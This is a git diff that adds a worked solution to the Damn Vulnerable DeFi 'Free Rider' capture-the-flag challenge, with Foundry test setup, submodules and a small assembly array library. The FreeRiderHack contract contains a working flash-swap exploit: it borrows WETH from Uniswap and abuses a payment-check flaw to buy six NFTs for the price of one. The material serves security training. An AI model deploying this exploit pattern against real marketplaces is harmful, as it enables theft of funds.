diff --git a/.gitmodules b/.gitmodules index c15a684..fac6143 100644 --- a/.gitmodules +++ b/.gitmodules @@ -88,3 +88,12 @@ [submodule "foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1"] path = foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable +[submodule "foundry/lib/@dev/forge-std"] + path = foundry/lib/@dev/forge-std + url = https://github.com/foundry-rs/forge-std +[submodule "foundry/lib/@dev/prb-test"] + path = foundry/lib/@dev/prb-test + url = https://github.com/PaulRBerg/prb-test +[submodule "foundry/lib/@dev/ds-test"] + path = foundry/lib/@dev/ds-test + url = https://github.com/dapphub/ds-test diff --git a/README.md b/README.md index da262ec..5e88cac 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,10 @@ git submodule add https://github.com/safe-global/safe-contracts foundry/lib/safe +git submodule add https://github.com/foundry-rs/forge-std foundry/lib/@dev/forge-std +git submodule add https://github.com/PaulRBerg/prb-test foundry/lib/@dev/prb-test +git submodule add https://github.com/dapphub/ds-test foundry/lib/@dev/ds-test + git submodule add https://github.com/Uniswap/v2-core foundry/lib/@uniswap/v2-core git submodule add https://github.com/Uniswap/v2-periphery foundry/lib/@uniswap/v2-periphery diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol index 1bbb189..8e04d4f 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol @@ -1,12 +1,21 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; +import { console2 } from "@dev/forge-std/src/console2.sol"; + import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; import { IERC721Receiver } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721Receiver.sol"; import { DamnValuableNFT } from "../00.Base/DamnValuableNFT.sol"; +import { IUniswapV2Callee } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol"; +import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; + +/** + * @title FreeRiderNFTMarketplace + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ contract FreeRiderNFTMarketplace is ReentrancyGuard { using Address for address payable; @@ -39,7 +48,7 @@ contract FreeRiderNFTMarketplace is ReentrancyGuard { token = _token; } - function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant { + function offerMany(uint256[] memory tokenIds, uint256[] memory prices) external nonReentrant { uint256 amount = tokenIds.length; if (amount == 0) { revert InvalidTokensAmount(); @@ -199,3 +208,63 @@ interface IWETH { event Deposit(address indexed dst, uint256 amount); event Withdrawal(address indexed src, uint256 amount); } + +interface IMarketplace { + function buyMany(uint256[] calldata tokenIds) external payable; +} + +contract FreeRiderHack is IUniswapV2Callee { + IUniswapV2Pair private immutable pair; + FreeRiderNFTMarketplace private immutable marketplace; + + IWETH private immutable weth; + IERC721 private immutable nft; + + address private immutable recoveryContract; + address private immutable player; + + uint256 private constant NFT_PRICE = 15 ether; + uint256[] private tokens = [0, 1, 2, 3, 4, 5]; + + constructor(address _pair, address payable _marketplace, address _weth, address _nft, address _recoveryContract) { + pair = IUniswapV2Pair(_pair); + marketplace = FreeRiderNFTMarketplace(_marketplace); + weth = IWETH(_weth); + nft = IERC721(_nft); + recoveryContract = _recoveryContract; + player = msg.sender; + } + + function attack() external payable { + // 1. Request a flashSwap of 15 WETH from Uniswap Pair + pair.swap(0, NFT_PRICE, address(this), abi.encode(NFT_PRICE)); + } + + function uniswapV2Call(address, uint256, uint256, bytes calldata) external { + // 1.Access Control + require(msg.sender == address(pair), "Only Uniswap Pair Can call"); + + // 2. Unwrap WETH to native ETH + weth.withdraw(NFT_PRICE); + + console2.log(address(this).balance); + // 3. Buy 6 NFTS for only 15 ETH total + marketplace.buyMany{ value: NFT_PRICE }(tokens); + + // // 4. Pay back 15WETH + 0.3% to the pair contract + uint256 amountToPayBack = NFT_PRICE * 1004 / 1000; + weth.deposit{ value: amountToPayBack }(); + weth.transfer(address(pair), amountToPayBack); + + // // 5. Send NFTs to recovery contract so we can get the bounty + for (uint256 i; i < tokens.length; i++) { + nft.safeTransferFrom(address(this), recoveryContract, i, abi.encode(player)); + } + } + + function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) { + return IERC721Receiver.onERC721Received.selector; + } + + receive() external payable { } +} diff --git a/contracts/Utils/Array.sol b/contracts/Utils/Array.sol new file mode 100644 index 0000000..9a626ae --- /dev/null +++ b/contracts/Utils/Array.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.9; + +library Array { + function push(uint256[] memory _nums, uint256 _num) internal pure { + assembly { + // 在可变数组的 末尾追加 一个value (_num) + mstore(add(_nums, mul(add(mload(_nums), 1), 0x20)), _num) + // 可变数组的length 加 1 + mstore(_nums, add(mload(_nums), 1)) + // 0x40 是空闲内存指针的预定义位置 (value 为 空闲指针开始位) + mstore(0x40, add(mload(0x40), 0x20)) + } + } + + function pop(uint256[] memory _nums) internal pure returns (uint256 num_) { + assembly { + // 取出可变数组的最后一个value + num_ := mload(add(_nums, mul(mload(_nums), 0x20))) + // length - 1 + mstore(_nums, sub(mload(_nums), 1)) + } + } + + function del(uint256[] memory _nums, uint256 _index) internal pure { + assembly { + // 下标位置需 小于 数组.length + if lt(_index, mload(_nums)) { + // 将最后一个value 移到 _index 下标处 + mstore(add(_nums, mul(add(_index, 1), 0x20)), mload(add(_nums, mul(mload(_nums), 0x20)))) + // length - 1 + mstore(_nums, sub(mload(_nums), 1)) + } + } + } + + function update(uint256[] memory _nums, uint256 _index, uint256 _num) internal pure { + _nums[_index] = _num; + } + + function get(uint256[] memory _nums, uint256 _index) internal pure returns (uint256) { + return _nums[_index]; + } +} diff --git a/foundry/lib/@dev/ds-test b/foundry/lib/@dev/ds-test new file mode 160000 index 0000000..e282159 --- /dev/null +++ b/foundry/lib/@dev/ds-test @@ -0,0 +1 @@ +Subproject commit e282159d5170298eb2455a6c05280ab5a73a4ef0 diff --git a/foundry/lib/@dev/forge-std b/foundry/lib/@dev/forge-std new file mode 160000 index 0000000..f73c73d --- /dev/null +++ b/foundry/lib/@dev/forge-std @@ -0,0 +1 @@ +Subproject commit f73c73d2018eb6a111f35e4dae7b4f27401e9421 diff --git a/foundry/lib/@dev/prb-test b/foundry/lib/@dev/prb-test new file mode 160000 index 0000000..2ece875 --- /dev/null +++ b/foundry/lib/@dev/prb-test @@ -0,0 +1 @@ +Subproject commit 2ece8755d9afe7d66440ef9ca19b8a9dab40164b diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol index 5ab7954..accc2e2 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol @@ -1,85 +1,140 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import { Test } from "forge-std/Test.sol"; -import { PRBTest } from "@prb/test/PRBTest.sol"; -import { Vm } from "forge-std/Vm.sol"; +import { Test } from "@dev/forge-std/src/Test.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { PRBTest } from "@dev/prb-test/src/PRBTest.sol"; +import { Vm } from "@dev/forge-std/src/Vm.sol"; +import { Array } from "@contracts/Utils/Array.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; import { - IWETH, FreeRiderNFTMarketplace, - FreeRiderRecovery + FreeRiderRecovery, + FreeRiderHack, + IWETH } from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; +import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; +import { WETH } from "@solmate/tokens/WETH.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv */ -contract Free_Rider_10_Test is PRBTest { +contract Challenge_10_Free_Rider_Test is PRBTest { // hacking attack address address private deployer = address(1); address private devs = address(2); address private player = address(2333); - // Mainnet cntracts - // https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code - IWETH private weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - // https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code - IUniswapV2Router02 private uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); - // https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code - IUniswapV2Factory private uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); - DamnValuableToken private token; - DamnValuableNFT private nft; - FreeRiderNFTMarketplace private marketplace; - FreeRiderRecovery private devsContract; - + // The NFT marketplace will have 6 tokens, at 15 ETH each uint256 NFT_PRICE = 15 ether; - uint256 AMOUNT_OF_NFTS = 6; + uint256 constant AMOUNT_OF_NFTS = 6; uint256 MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether; uint256 PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; uint256 BOUNTY = 45 ether; + // Initial reserves for the Uniswap v2 pool uint256 UNISWAP_INITIAL_TOKEN_RESERVE = 15_000 ether; - uint256 UNISWAP_INITIAL_WETH_RESERVE = 15_000 ether; + uint256 UNISWAP_INITIAL_WETH_RESERVE = 9000 ether; + + IWETH private weth; + IUniswapV2Router02 private uniswapRouter; + IUniswapV2Factory private uniswapFactory; + IUniswapV2Pair private uniswapPair; + DamnValuableToken private token; + DamnValuableNFT private nft; + FreeRiderNFTMarketplace private marketplace; + FreeRiderRecovery private devsContract; + + uint256[] private _offerManyTokenIds; + uint256[] private _offerManyPrices; function setUp() public { - vm.startPrank(deployer); + // vm.startPrank(deployer); + vm.createSelectFork({ urlOrAlias: "mainnet" }); vm.deal(deployer, type(uint256).max); + vm.deal(devs, type(uint256).max); _before(); - vm.stopPrank(); + // vm.stopPrank(); } function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ - vm.createSelectFork({ urlOrAlias: "mainnet", blockNumber: 18_348_539 }); - weth.deposit{ value: 1 ether }(); + + // Player starts with limited ETH balance + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE); + // Deploy WETH + // https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code + weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + + // Deploy token to be traded against WETH in Uniswap v2 token = new DamnValuableToken(); - weth.deposit{ value: 1 ether }(); - weth.balanceOf(deployer); + + // Deploy Uniswap Factory and Router + // https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code + uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); + // https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code + uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + // Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity + // The function takes care of deploying the pair automatically + token.approve(address(uniswapRouter), UNISWAP_INITIAL_TOKEN_RESERVE); + uniswapRouter.addLiquidityETH{ value: UNISWAP_INITIAL_WETH_RESERVE }( + address(token), UNISWAP_INITIAL_TOKEN_RESERVE, 0, 0, deployer, block.timestamp * 2 + ); + + // Get a reference to the created Uniswap pair + uniswapPair = IUniswapV2Pair(uniswapFactory.getPair(address(token), address(weth))); + + assertEq(uniswapPair.token0(), address(token), ""); + assertEq(uniswapPair.token1(), address(weth), ""); + assertGt(uniswapPair.balanceOf(deployer), 0, ""); + vm.startPrank(deployer); + // Deploy the marketplace and get the associated ERC721 token + // The marketplace will automatically mint AMOUNT_OF_NFTS to the deployer (see marketplace = new FreeRiderNFTMarketplace{ value: MARKETPLACE_INITIAL_ETH_BALANCE }(AMOUNT_OF_NFTS); - // Deploy nft - nft = new DamnValuableNFT(); - assertEq(nft.owner(), address(deployer), ""); + // Deploy NFT contract + nft = DamnValuableNFT(marketplace.token()); + assertEq(nft.owner(), address(0), ""); + assertEq(nft.rolesOf(address(marketplace)), nft.MINTER_ROLE(), ""); + + // Ensure deployer owns all minted NFTs. Then approve the marketplace to trade them. for (uint256 id = 1; id < AMOUNT_OF_NFTS; id++) { - // assertEq(nft.ownerOf(id), deployer, "nft.ownerOf(id)"); + assertEq(nft.ownerOf(id), deployer, "nft.ownerOf(id)"); } nft.setApprovalForAll(address(marketplace), true); - // marketplace.offerMany([0, 1, 2, 3, 4, 5], [NFT_PRICE, NFT_PRICE, NFT_PRICE, NFT_PRICE, NFT_PRICE, - // NFT_PRICE]); - devsContract = new FreeRiderRecovery{ value: BOUNTY }(player, address(nft)); + // Open offers in the marketplace + for (uint256 id = 0; id < AMOUNT_OF_NFTS; id++) { + _offerManyTokenIds.push(id); + _offerManyPrices.push(NFT_PRICE); + } + marketplace.offerMany(_offerManyTokenIds, _offerManyPrices); + + // Deploy devs' contract, adding the player as the beneficiary + // mock player => tx.origin + vm.startPrank(devs); + devsContract = new FreeRiderRecovery{ value: BOUNTY }(tx.origin, address(nft)); + vm.stopPrank(); } function test_Exploit() public { + vm.startPrank(player); /* START CODE YOUR SOLUTION HERE */ // ... + FreeRiderHack hackInst = + new FreeRiderHack(address(uniswapPair), payable(marketplace), address(weth), address(nft), address(devsContract)); + (bool isSuccess,) = address(hackInst).call{ value: player.balance }(""); + assertEq(isSuccess, true, ""); + hackInst.attack(); /* END CODE YOUR SOLUTION */ + vm.stopPrank(); _after(); } @@ -87,11 +142,17 @@ contract Free_Rider_10_Test is PRBTest { function _after() public { /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ vm.startPrank(devs); + + // The devs extract all NFTs from its associated contract for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) { - // nft.transferFrom(address(devsContract), devs, tokenId); - // assertEq(nft.ownerOf(tokenId), devs, ""); + nft.transferFrom(address(devsContract), devs, tokenId); + assertEq(nft.ownerOf(tokenId), devs, ""); } + + // Exchange must have lost NFTs and ETH assertEq(marketplace.offersCount(), 0, ""); + + // Player must have earned all ETH assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE, ""); assertEq(address(devsContract).balance, 0, ""); vm.stopPrank();